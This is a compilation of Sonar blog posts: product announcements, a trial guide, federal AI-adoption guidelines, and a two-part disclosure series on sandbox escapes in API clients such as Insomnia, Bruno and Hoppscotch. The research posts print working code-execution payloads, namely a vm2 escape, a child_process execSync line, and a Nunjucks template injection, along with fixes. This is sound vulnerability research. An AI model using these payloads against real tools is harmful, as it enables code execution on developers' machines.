This engine, named the Dataflow Bug Detection (DBD) Engine, is already being used in combination with our “historical” non-cross-procedural engine for detecting issues in Java and Python code. We always planned on completely replacing our historical engine with the DBD Engine. We have been taking steps in that direction for some time now. In order to completely switch over, we needed to ensure the new engine’s detection capability reached a high level of quality, which we have been working very hard to achieve.

Our goal this past year was to make this engine better for both our Python and Java users, and we have done so. Now, we are confident that it’s time to make the switch.

Enough, give me some numbers!

We test our modifications extensively to assess the impact of the changes we make on our engine.

We chose to focus on the rules that raise the most prevalent types of issues for this first release. Rest assured, the other rules will be ported to this new engine in due time. [javabugs:S6320, javabugs:S6417, javabugs:S6322, pythonbugs:S6464, pythonbugs:S6465, pythonbugs:S6417, pythonbugs:S6899, pythonbugs:S5633, and pythonbugs:S6886 will be ported in subsequent releases]

Here’s a summary of the gains we’ve made on some of our rules for Python and for Java, based on our internal benchmarks. In this table, false positives are the issues we should not raise. Reducing that number is very important to keep developers productive, since they detract their attention from the actual problems (true positives).For these rules, we have made real progress both in terms of how many real issues we find (increase in true positive rate), and in being less noisy (decrease in false positive rate).

		New Engine	New Engine
Language	Rule	True Positives (increased rate)	False Positives (decreased rate)
Python	S6466 (Out of bounds access)	1.35	1.3
Java	S6466 (Out of bounds access)	7	7
Java	S6555 (Null dereference)	1.2	113
Java	S6649 (Division by zero)	14	9

The rate of increase of True Positives and decrease of False Positives by migrating each issue to the advanced Dataflow Bug Detection engine.

Generally speaking, there will be a bit of adjustment. Some new false positives will be raised, of course, because no engine is perfect. But the large majority of what we find will be good, actual issues that need to be tackled. This has a real impact on developers, day after day. They will be more confident that what SonarQube finds matters, waste less time looking at irrelevant findings, and spend their time fixing actual problems that could end up costing a lot.

Just like not finding some important security issues is worse than a few false-positives, we know it will be worth it. Keep in mind that any bug has a potential to become a security liability in this day-and-age.

What’s next?

To reduce the sudden impact of these rule changes and the difference in findings, our plan is to transition the rules slowly. We will be retiring the historical Java rules, starting with S2259, in favor of new ones based on this new engine. You can follow the corresponding announcements on our Community.

This is the beginning of the journey, but we are very excited for these changes!

This new engine version is available today on SonarQube Cloud for all plans, and will be available in all the editions of SonarQube Server 2025 Release 4 this summer.

Sonar Named Leader in G2 Spring Report

Zoe Stockton — Wed, 28 May 2025 13:00:00 GMT

TL;DR overview

Sonar has been named a Leader in the G2 Spring Report for Static Code Analysis, reflecting high customer satisfaction scores and strong market presence on the G2 peer review platform.
G2 Grid reports are based on verified user reviews, covering ease of use, quality of support, and likelihood to recommend.
Sonar has maintained a top-ranked position in static code analysis on G2 for multiple consecutive years, supported by a user base of over 7 million developers globally.
The recognition reinforces SonarQube's standing as the industry standard for automated code review and integrated code quality and security analysis.

We are excited to share that the G2 Spring 2025 reports were recently released, and once again, Sonar has been named the LEADER in Static Code Analysis!

This honor reflects our commitment to excellence, highlighting SonarQube Server's focus on customer needs in features, functionality, and business value, and reinforces SonarQube Server's ability to enable developers to consistently deliver high-quality software that's fit for production.

So, what is the G2 Grid?

G2.com, formerly G2 Crowd, is a peer-to-peer review site. The G2 Grid helps technology buyers visualize the marketplace to make informed software purchasing decisions. It maps the competitive landscape for a category by plotting each product or service against Satisfaction and Market Presence scores. Scores are generated based on verified user reviews of products and online metrics like web traffic trends, social following, and more. The results are then used to plot products into a quadrant.

The four quadrants in a G2 Grid are leaders, high performers, contenders, and niche.

What makes SonarQube Server so great?

This static code analysis tool is a self-hosted code quality and security solution that deeply integrates into your enterprise environment, enabling you to leverage actionable code insights to deliver better, faster software; consistently and reliably. Its position as the Leader of the G2 reports is fueled by over 7M developers and 400k+ organizations who know the Sonar solution - talk about a lot of love! SonarQube Server offers:

Coverage for 30+ languages, frameworks, and IaC platforms
Seamless integrations with multiple IDEs
Security by design and a shift-left approach with advanced SAST capabilities
Security reporting, secrets detection & advanced bug detection
AI Code Assurance and AI CodeFix to to proactively identify & fix problems in AI-created code
And much more!

Check out what the following G2 reviewers had to say about SonarQube Server:

SonarQube makes it easy to maintain high code quality by automatically detecting bugs, vulnerabilities, and code smells. I like how it integrates with CI/CD pipelines and provides clear, actionable insights for developers. The detailed dashboards and quality gates help enforce coding standards across teams.
Aadarsha S., DevOps

I like how easy it is to spot issues before they hit production. SonarQube gives clear feedback and keeps our codebase clean and secure.
Diego M., Security Lead

I love that it is really easy to use, it can be integrated with GitHub, and it can review a wide array of code languages.
Rene M., Solution Architect

SonarQube is a very easy-to-use and effective tool for code coverage analysis and SAST. It integrates seamlessly with Azure DevOps pipelines. The intuitive Dashboard provides easy access to analysis reports with multiple filters.
Gourav S., Technical Architect

What I love about SonarQube is how it digs deep into my code and finds hidden issues which are not as obvious when writing the code, especially bugs and security problems, across different programming languages.
Kevin B., Senior DevOps Engineer

You can read all SonarQube Server reviews on the SonarQube Server G2 page.

Check out our interactive demo if you're curious to explore the features that have garnered this recognition. Or, join the millions of developers using SonarQube Server to write code that leads to secure, reliable, and maintainable software by requesting a demo to see for yourself!

BlogPost | 9 Steps to a Successful SonarQube Cloud Team Plan Trial

Zoe Stockton — Fri, 23 May 2025 13:00:00 GMT

This blog has been refreshed to reflect the new SonarQube Cloud Team plan, and updated screenshots have been included.

TL;DR overview

The SonarQube Cloud trial experience is designed to get development teams analyzing their first project in minutes, with automatic analysis available for most languages after a single-click import from GitHub, GitLab, Bitbucket, or Azure DevOps.
During the trial, teams see their full project analysis results including quality gate status, code coverage gaps, bugs, code smells, and security vulnerabilities surfaced in pull request decorations.
A 14-day free trial for private repositories allows teams to evaluate SonarQube Cloud in their actual codebase before committing—open-source projects are always free.
The trial covers all editions including the Team and Enterprise plans, giving teams exposure to features such as portfolio management, AI Code Assurance, and advanced reporting.

Embarking on a SonarQube Cloud trial is your first step toward ensuring your codebase is of the highest quality. To truly maximize the benefits, it's essential to approach the trial with a clear plan. This blog will guide you on how to make the most of your SonarQube Cloud trial period.

Lucky for you, a SonarQube Cloud Team Plan 14-day trial lets you experience all the rich features that you would get with a paid subscription. If you'd like to test out SonarQube Cloud before committing to purchase, it's important that you make the most of your limited time to get comfortable with the tool and understand the value it brings to your specific projects and teams.

Getting started with SonarQube Cloud is straightforward. You don’t need to speak with a sales representative or request a license key. Simply follow these steps to maximize the usage of your SonarQube Cloud trial:

1. Integrate with your Development Environment

Visit the SonarQube Cloud Sign Up page to create your free SonarQube Cloud account through your preferred DevOps development environment. Connect it with your platform of choice, be it GitHub, Bitbucket, GitLab, or Azure DevOps.

This integration enables real-time feedback, making it easier to catch and rectify code issues as they arise. Your SonarQube Cloud signup account is created and linked to your account on the chosen DevOps platform. In this blog, we'll use GitHub as an example, but you can select a different provider based on your preference. As a new user, SonarQube Cloud will prompt you to connect your GitHub organization with SonarQube Cloud.

2. Set up your organization in SonarQube Cloud

You can choose an existing organization, join an organization, or create a new one. An organization is a space where a team or a whole company can collaborate across many projects. Upon import, a corresponding organization is created in SonarQube Cloud based on the information you provide. All members from your GitHub organization will be added to your SonarQube Cloud organization. As they connect to SonarQube Cloud with their GitHub account, members will automatically have access to your organization.

3. Choose your plan

Next, it’s time to choose your SonarQube Cloud plan. You can start a no-commitment, 14-day trial of the SonarQube Cloud Team plan by selecting the Team Plan option. A credit card is required to start your trial, but please remember that your credit card will not be charged until after your trial has ended. You can analyze private projects for free during your trial period. You will receive an email reminder before any charges occur and can cancel your trial at any time. Pricing is based on Lines of Code (LOC) analyzed in private projects.

4. Select the repository you want to analyze

GitHub projects are grouped into GitHub organizations or personal accounts. The next step is to import the projects (individual Git repositories) that you want to analyze from your GitHub organization into your newly created SonarQube Cloud organization. A corresponding, one-to-one SonarQube Cloud project will be created for each imported repository. SonarQube Cloud will present a list of repositories in your GitHub organization; choose the projects you want to import and select “Set Up” to get started. Each imported repository becomes a SonarQube Cloud project. Once you import a project, it appears in your Projects list and is ready to be analyzed.

The next step is to set the New Code Definition (NCD) for your project(s). The NCD is a mandatory step that defines which part of your code is considered “new code.” When you perform an analysis on your main branch (or other long-lived branches), SonarQube Cloud uses the New Code Definition to determine which issues you should focus on fixing and highlights these as issues in new code. This helps you focus your attention on the most recent changes to your code and allows you to follow the Clean as You Code (CaYC) methodology. Guidance on choosing the right NCD is available in the docs.

5. Run your first analysis!

For GitHub repositories, two analysis methods are available: Automatic analysis and CI-based analysis. Automatic analysis will be triggered instantly for most languages. You can also set up analysis on your CI/CD tool in just a few minutes. From then on, all new pull requests and your main branch will be automatically analyzed. It’s that easy! Note that SonarQube Cloud supports all the popular programming languages to ensure your needs are covered.

During the next 14 days, you’ll have access to SonarQube Cloud’s full features and functionalities. We recommend trying the next four steps to learn more and get familiar with SonarQube Cloud.

6. Explore SonarQube Cloud

Now that you've completed the first analysis, it's time to explore the SonarQube Cloud user interface and dashboard. The SonarQube Cloud dashboard offers a wealth of information. Spend time understanding metrics like software quality and issue types (such as Bugs, Vulnerabilities, and Code Smells) that may contribute to Technical Debt. By familiarizing yourself with these, you can prioritize the issues that need immediate attention.

For projects that contain AI-generated code, try marking the project to indicate this and explore the SonarWay for AI Code Quality Gate. These AI features and more are only available in our paid plans. Discover what each plan offers here.

7. Explore SonarQube Cloud’s AI Capabilities

While AI significantly enhances developer productivity, it's crucial to maintain rigorous quality checks on code generated by LLMs before deployment. AI features available in SonarQube Cloud empower you to confidently integrate AI solutions into your workflows while ensuring the security, maintainability, and robustness of your code, aligning with the best practices outlined for AI coding.

AI Code Assurance allows for projects that include AI-generated code to be tagged and thoroughly reviewed for quality and security issues through a dedicated AI Code Assurance workflow.

AI CodeFix reduces the time it takes to fix issues by providing instant, AI-generated code fixes that developers can quickly review and apply.

8. Quality Profiles and Quality Gates

Quality profiles in SonarQube Cloud are a crucial part of your configuration, as they specify the rules applied during code analysis. By default, SonarQube Cloud includes a built-in quality profile for each supported language, referred to as the “Sonar Way” profile (indicated with the "BUILT-IN" tag). With the Team Plan, you can also create a custom Quality Gate, allowing you to define criteria that your code must meet before it’s merged or released. During your trial, set up a Quality Gate and adjust its criteria to match your objectives. You can create a new quality gate definition and make it available to projects in the organization or set it as the default for all new projects. To create a new quality gate definition in an organization, you must be an administrator of that organization.

After analysis, the quality gate takes the resulting metrics and compares them to its defined thresholds to determine if the code meets the requirements for release or merge.

9. Analyze Issues and Pull Requests

While running an analysis, SonarQube Cloud identifies issues based on coding rules defined in the quality profile. Dive deep into these issues, understand why code is flagged, and apply the recommendations. Additionally, test Pull Request (PR) analysis by creating a PR in your repository. SonarQube Cloud analyzes new code introduced in the PR and provides results directly in the PR interface, ensuring code quality before merging.

Additional Tips for Your SonarQube Cloud Trial Period

Here are some recommendations to ensure you're taking full advantage of what SonarQube Cloud has to offer during these two weeks:

Get your whole team involved!

This trial doesn't have to be a solo endeavor! With SonarQube Cloud, you can add an unlimited number of users to your private organization, even during your trial period. Membership of an organization is managed on the "Members" page. This is an excellent way to test SonarQube Cloud's team collaboration benefits.

Get Familiar with SonarQube Cloud’s Core Concepts

SonarQube Cloud provides tutorials covering many of its core concepts: Clean as You Code, New vs. Overall Code, Quality Gates, and Pull Requests. These lessons will help you understand the fundamental ideas behind SonarQube Cloud, enabling you to get the most value from the product. To start these tutorials, click on the question mark icon in the navigation and then click on "Core Concepts."

SonarQube for IDE integration

Boost your coding efficiency by adding the SonarQube for IDE extension to your favorite Integrated Development Environment (IDE). Experience real-time, advanced static analysis that empowers you to find and fix code issues on the fly. SonarQube Cloud's quality profile and analysis settings synchronize to SonarQube for IDE, aligning teams around a single standard of quality and security.

To recap, at a high level, during your SonarQube Cloud trial, you can expect the following:

The ability to analyze both public and private projects.
The ability to add unlimited members to your free or private organizations.
Access to all SonarQube Cloud Team plan features and functionalities, including Advanced SAST, AI CodeFix, AI Code Assurance, customization of quality standards, and more.
In-product tutorials and notifications that cover key concepts.
Coverage for 30+ popular programming languages.
Email notifications for when your credit card will be charged, so you can cancel at any time.
SonarQube for IDE integration.
Community Support.
And much more!

What are you waiting for?

SonarQube Cloud helps you consistently deliver software with integrated code quality and security that future developers will appreciate and your users will love. Visit the SonarQube Cloud Sign Up page to create your SonarQube Cloud account, through your preferred DevOps platform, and start your 14-day trial. In no time, you'll be writing better, more secure code that's ready for production!

Scripting Outside the Box: API Client Security Risks (2/2)

Oskar Zeino-Mahmalat, Paul Gerste — Tue, 20 May 2025 15:00:00 GMT

TL;DR overview

Part 2 of Sonar's API client security series covers advanced attack patterns where adversarial API servers leverage client-side trust assumptions—such as automatic script execution or implicit command invocation—to escalate from data access to code execution.
These attacks target the trust boundary developers place in API contracts: clients designed to execute scripts or run commands in response to API-defined instructions become remotely controllable if they connect to a malicious server.
Real-world developer tooling including CI/CD pipeline integrations and package managers has been affected by this class of attack, demonstrating the supply chain risk of building automation around API responses.
Security-conscious teams should review their API client code for any pattern where server-supplied values influence command construction, script evaluation, or file system operations—and apply strict input validation at the trust boundary.

Welcome back to the second part of our deep dive into the security risks of API clients. In Part 1, we explored how API clients work, focusing on the challenges of sandboxing untrusted JavaScript code in Postman and Insomnia. As we've seen, building robust sandboxes is not easy because there are many pitfalls.

In today's article, we'll continue our investigation by examining more complex sandbox bypasses and exploring more holistic sandboxing approaches. We'll also highlight the responses and fixes that vendors implemented following our disclosures. Furthermore, we will provide good practices on implementing robust JavaScript sandboxing using currently available tools.

Case Study 3: Bruno

After examining Postman and Insomnia last week, we'll continue with Bruno today. It has a similar user interface to the previously mentioned API clients and provides a similar feature set:

Like its cousins, Bruno also supports scripting capabilities. To prevent untrusted scripts from performing malicious actions, Bruno uses the vm2 package to sandbox the code. This package tries to fix the issues of Node.js's built-in vm module by proxying objects that are passed from the outside world into the sandbox, preventing access to dangerous properties. However, the package maintainer realized that this approach has fundamental flaws and discontinued the package in July 2023 due to unfixable security issues.

Because of these known vulnerabilities in vm2, attackers could escape Bruno's sandbox. The general technique is similar to what we saw last week. The attacker tries to get access to the function constructor of the outside world, using it to run code outside of the sandbox. However, since vm2 tries to prevent this, attackers need to find ways to get access to the underlying objects that are being proxied. One of such sandbox escape exploits is the following:

const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const main = p.call(a).constructor('return process')().mainModule;
main.require('child_process').execSync('id > /tmp/pwnd');

Here, the exposed Buffer constructor is proxied by vm2, which means that any calls and property accesses are delegated to the object in the outside world. Any dangerous accesses are blocked by the proxy, preventing direct access to the function constructor.

In this case, however, using a clever combination of __lookupGetter__ and apply, it is possible to access an object's prototype in a way that cannot be proxied. This allows the attacker to access a plain, unproxied object from the outside world, which in turn can be used to access the outside world's function constructor and run unsandboxed code.

In addition to these vm2 sandbox bypasses, variable values were processed as template literal strings, which means developers could interpolate JavaScript expressions into them. However, the evaluation of these variables was not sandboxed, giving attackers another way to execute arbitrary JavaScript code.

Remediation

To mitigate the vulnerabilities, the Bruno team switched their sandbox to QuickJS, a completely separate JS engine, which they compiled to WebAssembly. Since the QuickJS engine is executed within Node.js's WebAssembly interpreter, the executed code has no access to the system and can therefore run untrusted code without dangerous side effects.

In addition to that, the Bruno team added a user prompt when collections are imported. The user is informed about the potential risks and can decide between Safe Mode, which uses the safe sandbox but lacks some features, or Developer Mode, which supports all features but requires the user to trust the collection's authors. All JavaScript code originating from the collection file is then sandboxed using the user's choice, including variable template literals. The prompt looks like this:

This shows two holistic fix approaches: The first approach is shifting the responsibility to the users. The user needs to actively decide whether or not they trust the collection file, ideally while being educated about the risks.

The second holistic fix approach is to run untrusted code in an entirely separate JavaScript engine. This can either be an engine that does not provide any system access by design (like QuickJS compiled to WebAssembly), or a regular engine isolated using system features (such as Seccomp, cgroups, or namespaces).

Case Study 4: Hoppscotch

Hoppscotch, again, looks quite similar to its alternatives because they all feature a similar set of functionality. However, there is a difference under the hood of Hoppscotch that distinguishes it from the others. Instead of Electron, Hoppscotch is based on Tauri, a cross-platform framework written in Rust and TypeScript.

Tauri tried to learn from Electron's mistakes and avoid its pitfalls. For example, there is no direct way to give code in the web context access to privileged system APIs. If you still need to expose some system-level functionality to your application, you have to write the privileged part in Rust, which will be running outside of the web context, and implement a bridge between the web and privileged parts. Developers could still expose dangerous functionality to the web context that way, but it is much more explicit and therefore easier to audit.

To isolate untrusted code from a collection file, Hoppscotch uses another holistic approach to the sandboxing problem. Web Workers, a standard Web API available in Electron and Tauri, can be used to offload untrusted code into another process without access to many of the common APIs.

Web Workers are a feature supported by all major browsers. A Web Worker behaves like a separate browser window without a UI and cannot access other windows directly. Since the worker has much less access to potentially dangerous APIs and runs in a different JavaScript context than the main application, it naturally isolates untrusted code from anything interesting to attackers. An application can execute code in a worker and use messaging APIs like postMessage to send code and receive the result.

This solved the sandboxing problem in the Tauri-based interactive client, but in the case of Hoppscotch, this is not the only option to process collection files. Hoppscotch also offers a command-line interface (CLI) which is entirely Node.js-based and does not use the Web Worker approach.

Instead, Hoppscotch's CLI used Node.js's built-in vm module without any attempts at preventing reference leaks. As we learned in last week's blog post, this module is not considered a security mechanism, making it trivial for attackers to escape.

To patch this vulnerability, tracked as CVE-2024-34347, the Hoppscotch maintainers went for another holistic fix: They migrated to isolated-vm, a package that spawns a new JavaScript context on the interpreter level. In the case of Node.js, which is powered by the V8 JavaScript engine, this means creating a new isolate. The untrusted code is executed in such an isolate, without access to system resources. To support more complex features, isolated-vm also provides the option to create bridges between trusted and untrusted code, enforce memory or CPU time limits on the untrusted code, and more.

How to Sandbox Securely

As a developer, the vulnerabilities we learned about might make you hopeless, as there are so many pitfalls when sandboxing untrusted JavaScript code. So let's try to find a good set of practices that you can follow to be on the safe side. The right solution highly depends on the environment and on the feature requirements, so let's split the answer into three scenarios:

Scenario 1: If your application runs in a context with browser capabilities, like Electron or Tauri, use a Web Worker or a new window. Browsers already provide a security boundary that prevents any JavaScript code from accessing system-level APIs, such as the file system or spawning processes. To keep this boundary in Electron, ensure your sandbox worker or window has nodeIntegration disabled.

To interface between your application and the untrusted code, use postMessage to send the code to a worker, and receive the execution results. If you need to make functionality available to the untrusted code, use postMessage to bridge between the untrusted code and your application. Make sure to handle all messages received from the worker as untrusted, and verify everything as you would with a web service exposed to the internet. You can also use a timeout and kill the worker or window if the untrusted code takes up too much time to prevent denial of service.

Scenario 2: If your application runs in a context without browser capabilities, like Node.js, use the third-party isolated-vm package. This is currently the most comprehensive solution, integrating into the JavaScript interpreter to provide robust isolation. When using isolated-vm, make sure to read their requirements section, which contains important details for safe usage.

Scenario 3: If system access is desired, provide a sandboxed and an unsandboxed option. Let the user choose between the two while making the risks clearly visible in the prompt. Make the safe option the default. We have seen this approach taken by many applications, like Bruno, Insomnia, Visual Studio Code, or IntelliJ IDEA.

It does not fundamentally solve the problem of running untrusted code safely, which is virtually impossible when system access is desired. Instead, it gives the user an informed choice and lets them use common sense to prevent security incidents. However, scenarios 1 and 2 are always preferred if possible because they don't put the responsibility on the user.

Timeline

Date	Action
2024-03-19	We report our findings to the Hoppscotch maintainers
2024-03-19	The Hoppscotch maintainers acknowledge our report
2024-03-24	We report our findings to the Bruno maintainer
2024-04-22	The Hoppscotch maintainers release a fix in @hoppscotch/js-sandbox version 0.8.0
2024-08-21	Bruno ships Safe Mode in version 1.26.0

Outro

In this two-part blog series, we investigated the security risks in the popular API clients Postman, Insomnia, Bruno, and Hoppscotch. We started by understanding how these tools operate, highlighting their architecture using JavaScript-based cross-platform frameworks like Electron and Tauri. We then focused on the sandboxing of JavaScript code from untrusted collections, which showed that this is not an easy task.

Running untrusted code without any isolation is, of course, a bad idea, but it is also problematic to use seemingly working solutions such as Node.js's built-in vm module or the third-party vm2 package. These are known to have bypasses that let malicious code escape the sandbox and get access to system resources.

To finish our research with some actionable advice, we listed a few good practices on how to sandbox untrusted JavaScript code properly. However, there is no silver bullet, and it is important to thoughtfully build features that run untrusted code, always keeping in mind that anything going into or coming out of the sandbox needs to be treated with care.

Finally, we would like to thank the maintainers of Insomnia, Postman, Bruno, and Hoppscotch for their help with mitigating the issues we reported.

7 Guidelines for Federal Agencies Adopting AI for Software Development

Sonar — Tue, 13 May 2025 15:00:00 GMT

TL;DR overview

This post outlines seven practical guidelines to help federal agencies safely and responsibly adopt AI-assisted software development, addressing both the opportunities and the unique security and compliance risks that AI-generated code introduces.
Federal agencies face additional scrutiny around code security and supply chain integrity, making verification of AI-generated output a regulatory necessity rather than just a best practice.
Recommended guidelines include establishing AI usage policies, requiring human review of AI-generated code, integrating automated security scanning, maintaining complete audit trails, and aligning AI adoption with frameworks such as NIST SSDF.
SonarQube's static analysis capabilities support federal agency compliance requirements by providing automated code quality and security checks that satisfy NIST, STIG, and other government security standards.

With the release of two new Artificial Intelligence (AI) policies, The White House has provided clear direction for federal agencies regarding how to embrace AI to improve efficiency, effectiveness, and overall service delivery. However, the integration of AI into the fabric of federal operations demands a principled approach. Agencies must safeguard public trust and mitigate risk, while leveraging AI’s transformative power.

Below are 7 key considerations for federal agencies as they put in place processes for using AI for software development responsibly.

Put the supporting structure in place. Start with developing the necessary infrastructure and governance to manage risk from the use of AI, especially risk related to information security and privacy. A central tenet of responsible AI adoption is maintaining and fostering public trust. Agencies must prioritize the use of trustworthy AI that is safe, secure, and accountable.
Manage AI accountability and risk. For "high-impact AI" – defined as AI whose output serves as a principal basis for decisions with significant legal, material, binding, or safety effects – agencies must implement minimum risk management practices. These include pre-deployment testing, comprehensive AI impact assessments, and ongoing monitoring for performance and potential adverse impacts. Agencies must, provide human oversight and intervention where appropriate, and offer consistent remedies or appeals for individuals affected by AI-enabled decisions.
Test and validate the models – regularly. Agencies will need to conduct ongoing resting and validation of AI model performance. When procuring AI systems or services, agencies should seek detailed demonstrations and tests in environments closely reflecting the intended real-world operating environment
Monitor and measure usage. Establish processes to measure, monitor, and evaluate the use of AI applications as early as possible – ideally, before usage begins. Understanding how the applications and tools are being used is critical to identifying where there may be missed opportunities, areas of risk, or misalignment.
Policy refresh. Federal agencies are required to update their internal policies in critical areas to effectively integrate AI. Specifically, agencies must revisit and revise policies related to:

IT infrastructure, including software tools and code management.
Data, covering data inventory and access.
Cybersecurity, including system authorizations and monitoring for AI.
Privacy, to align with AI usage.

The purpose of these mandatory updates is to ensure alignment with OMB Memorandum M-25-21, Executive Order 14179, Executive Order 13960, and all other relevant legal requirements. This will establish the necessary frameworks for the responsible and effective adoption of AI.

Build your library of use cases. Putting time into a well documented, curated set of use cases helps support consistent use of AI tools, ensures proper prompting, and helps teams adopt AI solutions faster. Additionally, federal agencies are mandated to create and publicly share inventories of their AI use cases, including those related to generative-AI, as outlined in Executive Order 13960 and further clarified by OMB Memorandum M-24-10.
Build the right team. The successful adoption of AI hinges on having a skilled workforce. Agencies must prioritize recruiting, hiring, training, and retaining technical talent in AI roles. Achieving AI literacy for non-practitioners involved in AI is also essential for effective governance and oversight.

How Sonar supports federal AI adoption

Sonar's integrated code quality and code security solutions – SonarQube Server, Cloud, and IDE – help ensure the integrity of code powering AI initiatives and directly support The White House directives for increased use of AI. Here are three ways Sonar can accelerate and safeguard AI adoption for software development.

AI-Generated Code Assurance: Sonar provides AI Code Assurance, a structured process for validating AI-generated code, ensuring it meets high standards of quality. AI Code Assurance helps developers use AI in their coding confidently. It puts strong quality checks and thorough analysis in place to proactively identify problems in AI-created code. Any project with AI code, whether automatically detected or tagged by a person, goes through the AI Code Assurance process. This ensures that every new piece of code meets the highest standards of quality and security before it moves to production.
Proactive Issue Detection and Remediation: With features like AI CodeFix, Sonar leverages Large Language Models (LLMs) to suggest code fixes for issues identified during analysis. This enables developers to address problems early in the development lifecycle, leading to more robust and secure AI applications. SonarQube IDE further empowers developers by providing real-time feedback and guidance as they code, whether writing it themselves or accepting suggestions from AI assistants.
Enforcing Coding Standards: Quality Gates in SonarQube allow agencies to define and enforce code quality standards for both AI-generated and developer-written code, preventing the deployment of code that doesn't meet the required criteria. This is directly aligned with the need for rigorous risk management for federal AI systems, particularly those deemed high-impact.

Embracing the Future of Federal Services with Responsibility

The integration of AI holds immense promise for the future of federal services. By adhering to the guiding principles outlined in this blog post, federal agencies can navigate this transformative journey responsibly, ensuring that AI is leveraged to enhance public good, improve efficiency, and maintain the trust of the American people. Embracing tools like SonarQube to ensure code quality and security will be a critical component of this responsible adoption, paving the way for an innovative and trustworthy future for AI in the federal government.

Learn more about Federal agency adoption of AI in our detailed guide.

Scripting Outside the Box: API Client Security Risks (1/2)

Oskar Zeino-Mahmalat, Paul Gerste — Tue, 13 May 2025 15:00:00 GMT

TL;DR overview

API client applications introduce a distinct security risk: malicious API servers can craft responses that exploit vulnerabilities in how clients process and render returned data, achieving code execution without any direct network attack.
Part 1 of Sonar's series covers injection-style attacks where a malicious API response triggers code execution in the client, exploiting template injection, unsafe eval(), or shell command construction in API response handlers.
Developer tooling is a high-value target for this class of attack because it typically runs with elevated privileges, has access to source code and secrets, and is often trusted implicitly by development teams.
Developers building API clients should treat all server-supplied data as untrusted input, avoid constructing shell commands or template strings from API responses, and apply static analysis to all response-handling code paths.

Has this ever happened to you? You're looking at the documentation of a third-party API you want to integrate. You want to test the API quickly. Luckily, there are Postman and Insomnia collections ready to download that describe the API! You download and import the collection into Insomnia, an API-testing client, send a few requests, and see how the API responds.

And with that, you might have just gotten hacked! Would you have expected this to happen from this workflow?

Watch the video

In this two-part blog series, we take a look at the powerful scripting capabilities offered by popular API clients like Postman, Insomnia, Bruno, and Hoppscotch. We'll explore the security measures these tools employ, specifically custom JavaScript sandboxing. We then expose potential vulnerabilities that attackers could exploit within these sandboxes to achieve code execution. Finally, we provide guidance on implementing robust JavaScript sandboxing using currently available tools.

How API Clients Work

Before we dive into today's case studies, Insomnia and Postman, let's take a look at what all the API clients we investigated have in common.

First of all, they're all built on top of Electron, a framework to ship web apps as desktop applications. It consists of a built-in browser, Chromium, which has a Node.js integration to interact with the OS. There are security features such as nodeIntegration or contextIsolation that aim to restrict access to the Node.js APIs to only privileged parts of the application. This prevents Cross-Site Scripting (XSS) vulnerabilities in the web part of the application from having an impact on the whole machine. However, if these security features are not enabled, it means that there's a much bigger potential impact for attackers.

The purpose of API clients is to test and debug APIs with a user-friendly GUI. We looked at Postman, Insomnia, Bruno, and Hoppscotch, and they all have a common feature set:

They allow organizing API calls into so-called collections.
Support variables for reused values across different calls.
And can include API credentials from different environments.

To cover advanced use cases, the API clients we looked into also support scripting. Such scripts can be embedded into collections and triggered by certain events, such as before sending a request. This can, for example, be used to insert credentials into a request without having to hard-code them.

These embedded scripts also pose a security risk: if a user downloads a collection from an untrusted source, the author could execute arbitrary code on the user's machine. To prevent this, the API clients we investigated implement various ways of sandboxing. Let's start with our first case study, Insomnia, to see their approach and its flaws.

Case Study 1: Insomnia

Insomnia uses scripting functionality for several features. One of them is Unit Testing, where developers can write test suites for their API. They support the Mocha JavaScript library to allow developers to write unit tests like they are used to.

However, Insomnia employs no sandboxing to isolate the test code from privileged parts of the application. Additionally, Insomnia enabled Electron's nodeIntegration while disabling contextIsolation, giving the tests access to all Node.js APIs. With this, a malicious test script could execute arbitrary system commands like this:

require("child_process").execSync("id > /tmp/pwnd")

Another less obvious Insomnia feature that supports scripting is templating, allowing developers to interpolate values into a request's body using specific syntax. This is implemented using the Nunjucks library, rendering the template each time one of the following events happens:

The body page is opened or edited.
A template literal is hovered over.
The request is sent.

While templating does not necessarily allow for arbitrary code execution, Nunjucks explicitly warns about this risk in their documentation:

Here, an attacker could use the templating syntax to first create a malicious JavaScript function via the Function constructor and then call it:

{{range.constructor("return require('child_process').execSync('id > /tmp/pwnd')")()}}

A third feature with scripting support is Pre-Request Scripts. Here, Insomnia implemented sandboxing to prevent these scripts from directly accessing privileged components such as Node.js APIs. They did this by moving the script execution to a separate hidden window.

When the hidden window receives a script execution request from the main window, it takes the code, creates a function from it, executes it, and sends back the result. This hidden window has contextIsolation turned on, which prevents the user script from accessing arbitrary Node.js APIs. However, there is a context bridge script that exposes a fake require function to that window, restricting which modules can be imported.

One of the allowed modules is fs, Node.js's file system access module, giving pre-request scripts fill read/write access to the user's file system. An attacker can use this to poison files such as ~/.bashrc with malicious system commands. Another technique would be to achieve code execution by writing to certain Node.js pipes.

Remediation

To fix the issue with pre-request scripts, Insomnia removed access to the fs module, preventing malicious scripts from accessing the file system. In addition to that, Insomnia added a small disclaimer to the import window, warning the user about importing files from untrusted sources:

Case Study 2: Postman

To sandbox scripts, Postman maintains and uses the uvm package, which is a wrapper for Node.js's built-in vm module. However, vm is not a security mechanism per Node.js's docs. If any reference to an outside object leaks into the VM context, sandbox escapes are possible. In theory, using vm should be safe if no references are passed, but in practice, that is rarely the case. API clients want to expose functionality inside the sandbox, like access to variables, so they have to give the sandboxed code some objects to work with.

Postman is no exception and introduces an object into scope that bridges function calls to the "outside world". They try to prevent issues with leaked references by using elaborate variable binding to hide references from being accessed by malicious code. One example is the setTimeout function. It is not available inside the VM, so it gets passed in from the outside. To prevent direct access to the function object, it is wrapped like this:

// this code runs inside the sandbox and setTimeout is passed in from outside
global.setTimeout = ((timeout) => {
    // the scope within this arrow function is the Intermediate Scope
    return (a, b) => timeout(a,b);
})(global.setTimeout);
untrustedCode(); // now only has access to the overwritten setTimeout function

First, the global.setTimeout function is the one from the outside world. Before the untrusted code executes, global.setTimeout is overwritten with an arrow function that captures the function from the outside world. This is done by wrapping it with an Immediately Invoked Function Expression (IIFE) that receives the outside function as an argument. Inside that IIFE, timeout is now the outside world's setTimeout function and the returned arrow function always uses it, unaffected by the later overwrite of global.setTimeout.

This indirection prevents access to the outside function while still allowing it to be called. However, there's a problem that's not immediately clear from looking at the code: In Node.js, the setTimeout returns a Timeout object, which is instantiated in the outside world! This gives the untrusted code inside the VM access to an outside reference:

